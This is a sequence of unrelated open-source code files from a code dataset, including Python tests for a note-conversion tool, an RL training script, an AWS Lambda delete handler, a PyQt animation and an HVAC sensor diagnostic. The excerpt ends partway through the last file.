d['tx']['label'])))\n\n d['sx']['image'][:] = self.sx[idx]\n d['tx']['image'][:] = self.tx[idx]\n d['tu']['image'][:] = self.tu[idx]\n yield d\n\n self.to_schedule.append((dict(sx=sx, tx=tx, tu=tu), self.free.pop(), (i % self.probe_period) == 0))\n","sub_path":"semi_supervised_domain_adaptation/lib/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"248380394","text":"import six\nfrom django.template import TemplateSyntaxError\nfrom django.template.loader import render_to_string\n\nfrom ttag import core, args\n\n\nclass TemplateTagOptions(core.Options):\n\n def __init__(self, meta, *args, **kwargs):\n super(TemplateTagOptions, self).__init__(meta=meta, *args, **kwargs)\n self.template_name = getattr(meta, 'template_name', 'using')\n\n def post_process(self):\n super(TemplateTagOptions, self).post_process()\n non_keyword_args = [name for name, arg in self.named_args.items()\n if not arg.keyword]\n if (self.template_name in non_keyword_args and\n self.template_name not in self.parent_args):\n raise TemplateSyntaxError(\n \"%s can not explicitly define a named argument called %r\" %\n (self.name, self.template_name))\n\n arg = args.Arg(required=False, named=True)\n arg.name = self.template_name\n self.named_args[self.template_name] = arg\n\n\nclass TemplateTagMetaclass(core.DeclarativeArgsMetaclass):\n options_class = TemplateTagOptions\n\n\n@six.add_metaclass(TemplateTagMetaclass)\nclass TemplateTag(core.BaseTag):\n\n def render(self, context):\n data = self.resolve(context)\n template_name = data.get(self._meta.template_name, self.using(data))\n if not template_name:\n raise TemplateSyntaxError(\n \"%s wasn't given a template to render with\" % self._meta.name)\n extra_context = {\n 'data': data,\n 'output': self.output(data),\n }\n return render_to_string(template_name, extra_context, context)\n\n def using(self, data):\n \"\"\"\n TemplateTag subclasses must implement this method if\n not templates are given as the argument, e.g.::\n\n class RenderTag(TemplateTag):\n\n def using(context):\n return 'templatetags/%s.html' % self._meta.name.lower()\n \"\"\"\n return None\n","sub_path":"ttag/helpers/template_tag.py","file_name":"template_tag.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"220491662","text":"from logging import DEBUG\nfrom mock import patch\nfrom pathlib import Path\n\nimport config\nimport pytest\n\nimport nsx_pre_processing\nimport pandoc_converter\nimport sn_note_page\n\n\n@pytest.fixture\ndef note_page(nsx):\n note_jason = {'parent_id': 'note_book2', 'title': 'Page 8 title',\n 'mtime': 1619298640, 'ctime': 1619298559, 'attachment': {'test': 'test_value'}, 'content': 'content',\n 'tag': [9]}\n np = sn_note_page.NotePage(nsx, '1234', note_jason)\n return np\n\n\n@pytest.fixture\ndef note_page_1(nsx):\n note_page_1_json = {\n 'parent_id': 'note_book1',\n 'title': 'Page 1 title',\n 'mtime': 1619298559,\n 'ctime': 1619298539,\n 'content': 'content',\n 'tag': ['1'],\n 'attachment': {\n \"_-m4Hhgmp34U85IwTdWfbWw\": {\n \"md5\": \"e79072f793f22434740e64e93cfe5926\",\n \"name\": \"ns_attach_image_787491613404344687.png\",\n \"size\": 186875,\n \"width\": 1848,\n \"height\": 1306,\n \"type\": \"image/png\",\n \"ctime\": 1616084097,\n \"ref\": \"MTYxMzQwNDM0NDczN25zX2F0dGFjaF9pbWFnZV83ODc0OTE2MTM0MDQzNDQ2ODcucG5n\"\n },\n \"_YOgkfaY7aeHcezS-jgGSmA\": {\n \"md5\": \"6c4b828f227a096d3374599cae3f94ec\",\n \"name\": \"Record 2021-02-15 16:00:13.webm\",\n \"size\": 9627,\n \"width\": 0,\n \"height\": 0,\n \"type\": \"video/webm\",\n \"ctime\": 1616084097,\n },\n \"_yITQrdarvsdg3CkL-ifh4Q\": {\n \"md5\": \"c4ee8b831ad1188509c0f33f0c072af5\",\n \"name\": \"example-attachment.pdf\",\n \"size\": 14481,\n \"width\": 0,\n \"height\": 0,\n \"type\": \"application/pdf\",\n \"ctime\": 1616084097,\n },\n \"file_dGVzdCBwYWdlLnBkZjE2MTkyOTg3MjQ2OTE=\": {\n \"md5\": \"27a9aadc878b718331794c8bc50a1b8c\",\n \"name\": \"test page.pdf\",\n \"size\": 320357,\n \"width\": 0,\n \"height\": 0,\n \"type\": \"application/pdf\",\n \"ctime\": 1619295124,\n },\n },\n }\n note_page_1 = sn_note_page.NotePage(nsx, 1, note_page_1_json)\n note_page_1.notebook_folder_name = 'note_book1'\n note_page_1._file_name = 'page-1-title.md'\n note_page_1._raw_content = \"\"\"
Below is a hyperlink to the internet
\"\"\"\n\n return note_page_1\n\n\n@pytest.mark.parametrize(\n 'front_matter_format, creation_time_in_exported_file_name, expected_ctime, expected_mtime', [\n ('none', False, 1619298559, 1619298640),\n ('none', True, '202104242209', '202104242210'),\n ('yaml', True, '202104242209', '202104242210'),\n ('yaml', False, '202104242209', '202104242210'),\n ]\n)\ndef test_init_note_page(nsx, front_matter_format, creation_time_in_exported_file_name, expected_ctime, expected_mtime):\n nsx.conversion_settings.front_matter_format = front_matter_format\n nsx.conversion_settings.creation_time_in_exported_file_name = creation_time_in_exported_file_name\n note_jason = {'parent_id': 'note_book2', 'title': 'Page 8 title',\n 'mtime': 1619298640, 'ctime': 1619298559, 'attachment': {'test': 'test_value'}, 'content': 'content',\n 'tag': [9]}\n note_page = sn_note_page.NotePage(nsx, '1234', note_jason)\n\n assert note_page.note_json['ctime'] == expected_ctime\n assert note_page.note_json['mtime'] == expected_mtime\n\n assert note_page.title == 'Page 8 title'\n assert note_page.original_title == 'Page 8 title'\n assert note_page.raw_content == 'content'\n assert note_page.parent_notebook_id == 'note_book2'\n assert note_page._attachments_json == {'test': 'test_value'}\n\n\n@pytest.mark.parametrize(\n 'export_format, extension', [\n ('html', 'html'),\n ('gfm', 'md'),\n ]\n)\ndef test_generate_filenames_and_paths(export_format, extension, note_page):\n note_page.conversion_settings.export_format = export_format\n note_page.notebook_folder_name = 'note_book2'\n\n note_page.generate_filenames_and_paths([''])\n\n assert note_page.file_name == Path(f'page-8-title.{extension}')\n assert note_page.full_path == Path(note_page.conversion_settings.working_directory, config.DATA_DIR,\n note_page.conversion_settings.export_folder, note_page.notebook_folder_name,\n note_page.file_name)\n\n\ndef test_create_attachments(nsx, note_page_1):\n with patch('sn_attachment.ImageNSAttachment', spec=True):\n with patch('sn_attachment.FileNSAttachment', spec=True):\n image_count, file_count = note_page_1.create_attachments()\n\n assert image_count == 1\n assert file_count == 3\n\n\ndef test_process_attachments(nsx, note_page_1):\n with patch('sn_attachment.ImageNSAttachment', spec=True) as mock_image_attachment:\n with patch('sn_attachment.FileNSAttachment', spec=True) as mock_file_attachment:\n _ignored_1, _ignored_2 = note_page_1.create_attachments()\n\n note_page_1.process_attachments()\n\n mock_image_attachment.assert_called_once()\n assert mock_file_attachment.call_count == 3\n\n\ndef test_pre_process_content(note_page):\n note_page.conversion_settings.metadata_schema = ['title']\n note_page.conversion_settings.export_format = 'html'\n note_page.pre_process_content()\n\n assert note_page.pre_processed_content == 'Page 8 titlecontent'\n\n\n@pytest.mark.parametrize(\n 'export_format, expected', [\n ('html', ' content'),\n ('gfm', 'content\\n'),\n ]\n)\ndef test_convert_data(note_page, export_format, expected):\n note_page.conversion_settings.export_format = export_format\n note_page._pre_processed_content = ' content'\n note_page._pandoc_converter = pandoc_converter.PandocConverter(note_page.conversion_settings)\n note_page.convert_data()\n\n assert note_page._converted_content == expected\n\n\ndef test_post_process_content(note_page, tmp_path):\n note_page._pre_processed_content = ' content'\n note_page._pandoc_converter = pandoc_converter.PandocConverter(note_page.conversion_settings)\n note_page._converted_content = 'content\\n'\n note_page._pre_processor = nsx_pre_processing.NoteStationPreProcessing(note_page)\n note_page.conversion_settings.front_matter_format = 'none'\n note_page.post_process_content()\n\n assert note_page._converted_content == 'content\\n\\n'\n\n\n@pytest.mark.parametrize(\n 'title_list, expected_new_title', [\n (['no_match', 'no_match2'], 'Page 8 title'),\n (['no_match', 'no_match2', 'Page 8 title'], 'Page 8 title-1'),\n ]\n)\ndef test_increment_duplicated_title(note_page, title_list, expected_new_title):\n note_page.increment_duplicated_title(title_list)\n\n assert note_page.title == expected_new_title\n\n\n@pytest.mark.parametrize(\n 'export_format, expected', [\n ('gfm',\n \"\"\"Below is a hyperlink to the internet\\n\\n\\n\\n###### Attachments\\n\\n[record-2021-02-15-160013.webm](attachments/record-2021-02-15-160013.webm)\\n\\n[example-attachment.pdf](attachments/example-attachment.pdf)\\n\\n[test-page.pdf](attachments/test-page.pdf)\\n\\n\"\"\"),\n ('html',\n \"\"\"

Below is a hyperlink to the internet

https://github.com/kevindurston21/YANOM-Note-O-Matic

Attachments

record-2021-02-15-160013.webm

example-attachment.pdf

test-page.pdf

\"\"\"),\n ]\n)\ndef test_process_note(nsx, note_page_1, export_format, expected):\n note_page_1.conversion_settings.export_format = export_format\n note_page_1._pandoc_converter = pandoc_converter.PandocConverter(note_page_1.conversion_settings)\n note_page_1.conversion_settings.front_matter_format = 'none'\n\n note_page_1.process_note()\n\n assert note_page_1.converted_content == expected\n\n\ndef test_get_json_note_title(note_page_1, caplog):\n config.set_logger_level(DEBUG)\n note_page_1.logger.setLevel(config.logger_level)\n note_page_1._note_json = {'title': 'Note Title Testing Get'}\n expected = 'Note Title Testing Get'\n note_page_1.get_json_note_title()\n assert note_page_1.title == expected\n assert f\"Note title from json is '{expected}'\" in caplog.messages\n\n\ndef test_get_json_note_title_key_missing_in_json(note_page_1, caplog):\n config.set_logger_level(DEBUG)\n note_page_1.logger.setLevel(config.logger_level)\n note_page_1._note_json = {'tag': 'tag1'}\n note_page_1.get_json_note_title()\n\n expected_caplog_msg = f\"no title was found in note id '{note_page_1._note_id}'. Using random string for title '{note_page_1._title}'\"\n assert len(note_page_1.title) == 8\n assert expected_caplog_msg in caplog.messages\n\n\ndef test_get_json_note_content(note_page_1, caplog):\n note_page_1._note_json = {'content': 'Note Content Testing Get'}\n expected = 'Note Content Testing Get'\n note_page_1.get_json_note_content()\n assert note_page_1._raw_content == expected\n\n\ndef test_get_json_note_content_key_missing_in_json(note_page_1, caplog):\n note_page_1._note_json = {'tag': 'tag1'}\n note_page_1.get_json_note_content()\n expected_caplog_msg = f\"No content was found in note id '{note_page_1._note_id}'.\"\n\n assert note_page_1._raw_content == ''\n assert expected_caplog_msg in caplog.messages\n\n\ndef test_get_json_attachment_data(note_page_1, caplog):\n expected = 'Note Attachment Testing Get'\n note_page_1._note_json = {'attachment': expected}\n note_page_1.get_json_attachment_data()\n assert note_page_1._attachments_json == expected\n\n\ndef test_get_json_attachment_data_key_missing_in_json(note_page_1, caplog):\n note_page_1._note_json = {'tag': 'tag1'}\n note_page_1.get_json_attachment_data()\n expected_caplog_msg = f\"No attachments were found in note id '{note_page_1._note_id}'.\"\n\n assert note_page_1._attachments_json == {}\n assert expected_caplog_msg in caplog.messages\n\n\ndef test_get_json_parent_notebook(note_page_1, caplog):\n expected = 'Note Parent ID Testing Get'\n note_page_1._note_json = {'parent_id': expected}\n note_page_1.get_json_parent_notebook()\n assert note_page_1._parent_notebook_id == expected\n\n\n@pytest.mark.parametrize(\n 'silent, expected_out', [\n (True, ''),\n (False, \"Note will be in the Recycle Bin notebook\"),\n ]\n)\ndef test_get_json_parent_notebook_key_missing_in_json(note_page_1, silent, expected_out, caplog, capsys):\n config.set_silent(silent)\n note_page_1._note_json = {'tag': 'tag1'}\n note_page_1.get_json_parent_notebook()\n expected_caplog_msg = f\"No parent notebook ID was found in note id '{note_page_1._note_id}'. Using a placeholder id of '{note_page_1._parent_notebook_id}'. Notes will be in the Recycle bin notebook\"\n\n assert note_page_1._parent_notebook_id == 'Parent Notebook ID missing from nsx file note data'\n assert expected_caplog_msg in caplog.messages\n\n captured = capsys.readouterr()\n assert expected_out in captured.out\n\n\ndef test_get_json_attachment_data_key_is_null(note_page_1, caplog):\n note_page_1._note_json = {'attachment': None}\n note_page_1.get_json_attachment_data()\n expected_caplog_msg1 = f\"Note - '{note_page_1._title}' - Has Null set for attachments. There may be a sync issues between desktop and web version of Note Station.\"\n expected_caplog_msg2 = f\"No attachments were found in note id '{note_page_1._note_id}'.\"\n\n assert note_page_1._attachments_json == {}\n assert expected_caplog_msg1 in caplog.messages\n assert expected_caplog_msg2 in caplog.messages","sub_path":"test/test_sn_note_page.py","file_name":"test_sn_note_page.py","file_ext":"py","file_size_in_byte":12144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"99346242","text":"\"\"\"\n\"\"\"\n\nimport random\n\nimport numpy as np\n\nimport argparse\n\nimport gym\n\nfrom rockrose import preprocessor\nfrom rockrose import replay_memory\nfrom rockrose.models import unreal as rr_model_unr\nfrom rockrose.trainers import unreal as rr_trainer_unr\n\nfrom bluegym import env_bluelake\n\n\nENV_GAME_NAME = 'Flibird-v0'\nTRAINER_THREAD_N = 10#4\n\n\ndef env_reg():\n env_bluelake.gym_env_register_bluelake(\n 'gymbird', (288, 512),\n ENV_GAME_NAME,\n obs_type='image',\n frameskip=(1, 2) # (1, 6)\n )\n\n\ndef env_make():\n env = gym.make(ENV_GAME_NAME)\n np.random.seed(123)\n env.seed(123)\n\n return env\n\n\nclass RRPreprImgGrayN_RZeroTo(preprocessor.RRPreprImgGrayN4R):\n def process_reward(self, r_t, *args, **kwargs):\n if r_t == 0.0:\n r_t = 0.1\n return r_t\n\n\nclass RRPreprImgGrayN_FailToLarge(preprocessor.RRPreprImgGrayN4R):\n def process_reward(self, r_t, *args, **kwargs):\n if r_t == -1.0:\n r_t = -10.0\n return r_t\n\n\ndef main():\n\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('-m','--mode', help='train / play')\n parser.add_argument('-i','--model', help='model file names')\n args = parser.parse_args()\n\n env_reg()\n\n envs = []\n rmem = []\n for i in range(TRAINER_THREAD_N):\n envs.append(env_make())\n\n #rmm = replay_memory.ReplayMemory(50000)\n rmm = replay_memory.ReplayMemoryPrior(5000)\n rmem.append(rmm)\n\n #prepr = preprocessor.RRPreprImgGrayN(4, out_size=(84, 84))\n prepr = preprocessor.RRPreprImgGrayN4R(4, out_size=(84, 84))\n #prepr = RRPreprImgGrayN_RZeroTo(4, out_size=(84, 84))\n\n actn = len(envs[0]._action_set)\n md_cfg = {\n 'input_shape': (4, 84, 84),\n #'input_shape': (4, 72, 72),\n 'pc_wh': 84 / 4,\n 'actn': actn,\n 'lr': 1e-5, #1e-4, # 1e-6\n 'pc_wh': 84 / 4,\n 'pc_cw': 11,\n 'pc_lambda': 1.0,\n }\n model = rr_model_unr.RRModelUnreal(md_cfg)\n\n trnr_cfg = {\n 'thread_n': TRAINER_THREAD_N,\n #'if_render': True,\n 'model_saved_file_p': 'models_saved/unr_flibird_1_p.h5',\n 'model_saved_file_v': 'models_saved/unr_flibird_1_v.h5',\n 'model_saved_per': 20,\n 'use_rp': True,\n 'use_vr': True,\n 'use_pc': True,\n 'pc_wh': 84 / 4,\n }\n\n if args.mode == 'train':\n trnr = rr_trainer_unr.RRTrainerUnreal(trnr_cfg, envs, model, prepr, rmem)\n #trnr.train_a_thread(0)\n trnr.train()\n else:\n trnr = rr_trainer_unr.RRTrainerUnreal(trnr_cfg, envs[0], model, prepr, rmem)\n trnr.play()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"unr_flibird_2e.py","file_name":"unr_flibird_2e.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"310492743","text":"import json\nimport boto3\nimport time\nfrom decimal import Decimal\ndynamodb = boto3.resource('dynamodb')\nfrom boto3.dynamodb.conditions import Key, Attr\n\n# function to remove an entry from the Holiday Dates database via the DynamoDB\n# API. To be called via the admin website\n\ndef lambda_handler(event, context):\n # import HolidayDates DynamoDB database \n table = dynamodb.Table('HolidayDates')\n \n # pull event context data \n input = json.loads(event[\"body\"])\n \n # make call to delete entry via API\n response = table.delete_item(\n Key = {\n \"dateStart\": int(input[\"dateStart\"]),\n }\n )\n \n # return success alert\n output = {\n \"isBase64Encoded\": False,\n \"statusCode\": 200,\n \"headers\": {\n \"Access-Control-Allow-Origin\": \"*\",\n \"Access-Control-Allow-Credentials\": True\n },\n \"body\": json.dumps({\"message\":\"successful!\"})\n }\n \n return output\n \n ","sub_path":"holidayDatesDeleteEntry.py","file_name":"holidayDatesDeleteEntry.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237915088","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# NOT WORKED\n\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nimport sys, time, math\n\nclass Test(QMainWindow):\n def __init__(self, parent=None):\n QMainWindow.__init__(self, parent)\n self.pts = [[80, 300],\n [180, 300],\n [280, 300],\n [430, 300],\n [580, 300],\n [680, 300],\n [780, 300]]\n self.time = 0\n self.time_step = 0.002\n self.timer_id = self.startTimer(1)\n\n def poly(self, pts):\n return QPolygonF(map(lambda p: QPointF(*p), pts))\n\n def timerEvent(self, event):\n if self.timer_id == event.timerId():\n self.update_wave()\n self.time += self.time_step\n self.update()\n\n def update_wave(self):\n k = 0\n phi = 0.7\n for p in self.pts:\n p[1] =300 + 100*math.sin(self.time+phi*k)\n k += 1\n\n def paintEvent(self, event):\n painter = QPainter(self)\n pts = self.pts\n painter.setPen(QPen(QColor(Qt.darkGreen), 3))\n painter.drawPolyline(self.poly(pts))\n painter.setBrush(QBrush(QColor(255, 0, 0)))\n painter.setPen(QPen(QColor(Qt.black), 1))\n for x, y in pts:\n painter.drawEllipse(QRectF(x - 4, y - 4, 8, 8))\n\nif __name__ == '__main__':\n example = QApplication(sys.argv)\n test2 = Test()\n test2.resize(800, 600)\n test2.show()\n sys.exit(example.exec_())","sub_path":"wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294843276","text":"#!/usr/bin/env python3\n\n# Script to monitor JVM Garbage Collection Logs\n# Author: Chris Walker\n# Version: 1.0\n\n###########\n# Imports #\n###########\nimport os\nfrom os import path\nimport shutil\nimport json\nimport sys\n\n\ndef processJson(file):\n print('Checking for file: ' + file)\n # logFile = open(file, \"r\")\n if path.exists(file) and path.isfile(file):\n print('File: {} exists. Trying to reading data'.format(file))\n try:\n # with open(file, 'r') as jsonFile:\n # jsonText = json.load(open(jsonFile))\n # print(json.dumps(jsonText, indent=4, sort_keys=True))\n logFile = open(file, 'r')\n jsonText = json.load(logFile)\n print(json.dumps(jsonText, indent=4, sort_keys=True))\n except Exception as e:\n print('Exception is: ' + str(e))\n\ndef main():\n\n arguments = len(sys.argv) -1\n print('Number of command line arguments is: {}'.format(arguments))\n\n if arguments is 0:\n print('No file specified. Exiting')\n exit\n elif arguments > 1:\n print('Please only enter one file. Exiting')\n elif arguments is 1:\n file = sys.argv[1]\n processJson(file)\n else: \n print('Unknown error. Exiting')\n \n # file = open(\"/abs/configuration/abs/log/authentication.audit.json\", \"r\")\n # jsonText = json.loads(file)\n # print(json.dumps(jsonText, indent=4, sort_keys=True))\n \nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"prettyPrintJson.py","file_name":"prettyPrintJson.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"50798990","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport pickle\nimport json\n\nimport sqlite3\nimport datetime\n\nimport ast\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import StandardScaler\nimport datetime\nimport operator\n\nimport mf_algo_py_param\n\ndef apply(df_input,step_param):\n #print (step_param)\n #Output df\n df_out = pd.DataFrame([], columns=['X','Y','COLOR','field'])\n \n ##Graph table\n graph_table = step_param['config']['graph_table']\n \n\n ##Fields\n x_field = step_param['config']['X']\n x_field_param = mf_algo_py_param.set_param_value_list_str(x_field)\n y_field = step_param['config']['Y']\n y_field_param = mf_algo_py_param.set_param_value_list_str(y_field)\n color_field = step_param['config']['COLOR']\n color_field_param = mf_algo_py_param.set_param_value_list_str(color_field)[0]\n \n \n arr_colname = ['x','y']\n\n ##Making a series for each unique values in color field\n dfcolorfld = df_input[color_field_param]\n arr_colorfld = dfcolorfld.unique()\n\n json_data = {}\n print (arr_colorfld)\n print (x_field_param)\n print (y_field_param)\n\n for xfld in x_field_param:\n for yfld in y_field_param:\n arr_col = [xfld,yfld]\n json_xyz = {}\n for colorfld in arr_colorfld:\n df1 = df_input[df_input[color_field_param]== colorfld]\n df1 = df1[arr_col]\n df1.columns = arr_colname\n df1['name'] = df1['x'] \n df1['r'] = 10.0 ##adding radius\n df1 = df1.dropna()\n json1 = df1.to_json(orient='records')\n key = 'series_'+str(xfld)+'_'+str(yfld)+'_'+str(colorfld)\n json_xyz[key] = json1\n\n key = 'series_'+str(xfld)+'_'+str(yfld)\n json_data[key] = json.dumps(json_xyz)\n\n \n \n \n\n df_out = pd.DataFrame(json_data,index=[0])\n #print (df_out)\n \n json_out = {graph_table:df_out}\n \n return json_out\n\n \n","sub_path":"covalent/model-factory/backend/flask_api/algo_py/mf_algo_py_vizprep_bubblechart.py","file_name":"mf_algo_py_vizprep_bubblechart.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"370849627","text":"# -*- coding:utf-8 -*-\n\nimport unittest\nfrom body_text_extraction import BodyTextExtraction\nimport os \nfrom pathlib import Path\n\ndata_path = Path(os.path.join(os.path.dirname(__file__),\"data\"))\n# python3 -m unittest tests.main_test\nclass TestMain(unittest.TestCase):\n def test_fsight(self):\n extractor = BodyTextExtraction()\n html_content = (data_path / \"fsight.raw\" ).read_text()\n text = extractor.extract(html_content)\n # print(text)\n output = (data_path / \"fsight.txt\" ).read_text()\n self.assertEqual(output, text)\n \n def test_yahoo(self):\n extractor = BodyTextExtraction()\n html_content = (data_path / \"yahoo.raw\" ).read_text()\n text = extractor.extract(html_content)\n # print(text)\n output = (data_path / \"yahoo.txt\" ).read_text()\n self.assertEqual(output, text)\n\n def test_sina(self):\n extractor = BodyTextExtraction()\n html_content = (data_path / \"sina.raw\" ).read_text()\n text = extractor.extract(html_content)\n print(text)\n output = (data_path / \"sina.txt\" ).read_text()\n self.assertEqual(output, text)\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTests(unittest.makeSuite(TestMain))\n return suite\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"547224355","text":"'''\r\nCopyright (c) 2016, Battelle Memorial Institute\r\nAll rights reserved.\r\n\r\nRedistribution and use in source and binary forms, with or without\r\nmodification, are permitted provided that the following conditions are met:\r\n\r\n1. Redistributions of source code must retain the above copyright notice, this\r\n list of conditions and the following disclaimer.\r\n2. Redistributions in binary form must reproduce the above copyright notice,\r\n this list of conditions and the following disclaimer in the documentation\r\n and/or other materials provided with the distribution.\r\n\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\r\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\r\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\r\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\nThe views and conclusions contained in the software and documentation are those\r\nof the authors and should not be interpreted as representing official policies,\r\neither expressed or implied, of the FreeBSD Project.\r\n\r\nThis material was prepared as an account of work sponsored by an\r\nagency of the United States Government. Neither the United States\r\nGovernment nor the United States Department of Energy, nor Battelle,\r\nnor any of their employees, nor any jurisdiction or organization\r\nthat has cooperated in the development of these materials, makes\r\nany warranty, express or implied, or assumes any legal liability\r\nor responsibility for the accuracy, completeness, or usefulness or\r\nany information, apparatus, product, software, or process disclosed,\r\nor represents that its use would not infringe privately owned rights.\r\n\r\nReference herein to any specific commercial product, process, or\r\nservice by trade name, trademark, manufacturer, or otherwise does\r\nnot necessarily constitute or imply its endorsement, recommendation,\r\nr favoring by the United States Government or any agency thereof,\r\nor Battelle Memorial Institute. The views and opinions of authors\r\nexpressed herein do not necessarily state or reflect those of the\r\nUnited States Government or any agency thereof.\r\n\r\nPACIFIC NORTHWEST NATIONAL LABORATORY\r\noperated by BATTELLE for the UNITED STATES DEPARTMENT OF ENERGY\r\nunder Contract DE-AC05-76RL01830\r\n'''\r\nimport logging\r\nfrom datetime import timedelta as td\r\n\r\n__version__ = '3.1'\r\n\r\nECON1 = 'Temperature Sensor Dx'\r\n\r\nDX = '/diagnostic message'\r\nEI = '/energy impact'\r\nDATA = '/data/'\r\n\r\nRAT = 'ReturnAirTemperature'\r\nMAT = 'MixedAirTemperature'\r\nOAT = 'OutsideAirTemperature'\r\nOAD = 'OutsideDamperSignal'\r\nCC = 'CoolCall'\r\nFS = 'SupplyFanSpeed'\r\nEC = 'EconomizerCondition'\r\nST = 'State'\r\n\r\ndef create_table_key(table_name, timestamp):\r\n return '&'.join([table_name, timestamp.strftime('%m-%d-%y %H:%M')])\r\n\r\nclass TempSensorDx(object):\r\n '''Air-side HVAC temperature sensor diagnostic for AHU/RTU systems.\r\n\r\n TempSensorDx uses metered data from a BAS or controller to\r\n diagnose if any of the temperature sensors for an AHU/RTU are accurate and\r\n reliable.\r\n '''\r\n def __init__(self, data_window, no_required_data, temp_diff_thr, open_damper_time,\r\n oat_mat_check, temp_damper_threshold, analysis):\r\n self.oat_values = []\r\n self.rat_values = []\r\n self.mat_values = []\r\n self.timestamp = []\r\n self.open_oat = []\r\n self.open_mat = []\r\n self.econ_check = False\r\n self.steady_state_st = None\r\n self.open_damper_time = int(open_damper_time)\r\n self.econ_time_check = td(minutes=self.open_damper_time - 1)\r\n TempSensorDx.temp_sensor_problem = None\r\n self.analysis = analysis\r\n self.max_dx_time = 60\r\n\r\n '''Application thresholds (Configurable)'''\r\n self.data_window = float(data_window)\r\n self.no_required_data = no_required_data\r\n self.temp_diff_thr = float(temp_diff_thr)\r\n self.oat_mat_check = float(oat_mat_check)\r\n self.temp_damper_threshold = float(temp_damper_threshold)\r\n\r\n def econ_alg1(self, dx_result, oatemp, ratemp, matemp, damper_signal, cur_time):\r\n '''Check app. pre-quisites and assemble data set for analysis.'''\r\n if damper_signal > self.temp_damper_threshold:\r\n if not self.econ_check:\r\n self.econ_check = True\r\n self.steady_state_st = cur_time\r\n if cur_time - self.steady_state_st >= self.econ_time_check:\r\n self.open_oat.append(oatemp)\r\n self.open_mat.append(matemp)\r\n else:\r\n self.econ_check = False\r\n\r\n self.oat_values.append(oatemp)\r\n self.mat_values.append(matemp)\r\n self.rat_values.append(ratemp)\r\n dx_result.log('{}: Debugger: aggregate data'.format(ECON1))\r\n if self.timestamp and ((cur_time - self.timestamp[-1]).total_seconds()/60) > 5.0:\r\n self.econ_check = False\r\n self.timestamp.append(cur_time)\r\n elapsed_time = (self.timestamp[-1] - self.timestamp[0]).total_seconds()/60\r\n elapsed_time = elapsed_time if elapsed_time > 0 else 1.0\r\n\r\n if (elapsed_time >= self.data_window and len(self.timestamp) >= self.no_required_data):\r\n self.table_key = create_table_key(self.analysis, self.timestamp[-1])\r\n\r\n if elapsed_time > self.max_dx_time:\r\n dx_result.insert_table_row(self.table_key, {ECON1 + DX: 3.2})\r\n dx_result = self.clear_data(dx_result)\r\n dx_status = 2\r\n return dx_result, dx_status\r\n dx_result.log('{}: Debugger: running algorithm.'.format(ECON1))\r\n dx_result = self.temperature_sensor_dx(dx_result, cur_time)\r\n dx_status = 1\r\n return dx_result, dx_status\r\n dx_result.log('{}: Debugger: collecting data'.format(ECON1))\r\n dx_status = 0\r\n return dx_result, dx_status\r\n\r\n def temperature_sensor_dx(self, dx_result, cur_time):\r\n '''\r\n If the detected problems(s) are\r\n consistent then generate a fault message(s).\r\n '''\r\n oa_ma = [(x - y) for x, y in zip(self.oat_values, self.mat_values)]\r\n ra_ma = [(x - y) for x, y in zip(self.rat_values, self.mat_values)]\r\n ma_oa = [(y - x) for x, y in zip(self.oat_values, self.mat_values)]\r\n ma_ra = [(y - x)for x, y in zip(self.rat_values, self.mat_values)]\r\n avg_oa_ma = sum(oa_ma) / len(oa_ma)\r\n avg_ra_ma = sum(ra_ma) / len(ra_ma)\r\n avg_ma_oa = sum(ma_oa) / len(ma_oa)\r\n avg_ma_ra = sum(ma_ra) / len(ma_ra)\r\n dx_table = {}\r\n\r\n if len(self.open_oat) > self.no_required_data:\r\n mat_oat_diff_list = [abs(x - y) for x, y in zip(self.open_oat, self.open_mat)]\r\n open_damper_check = sum(mat_oat_diff_list) / 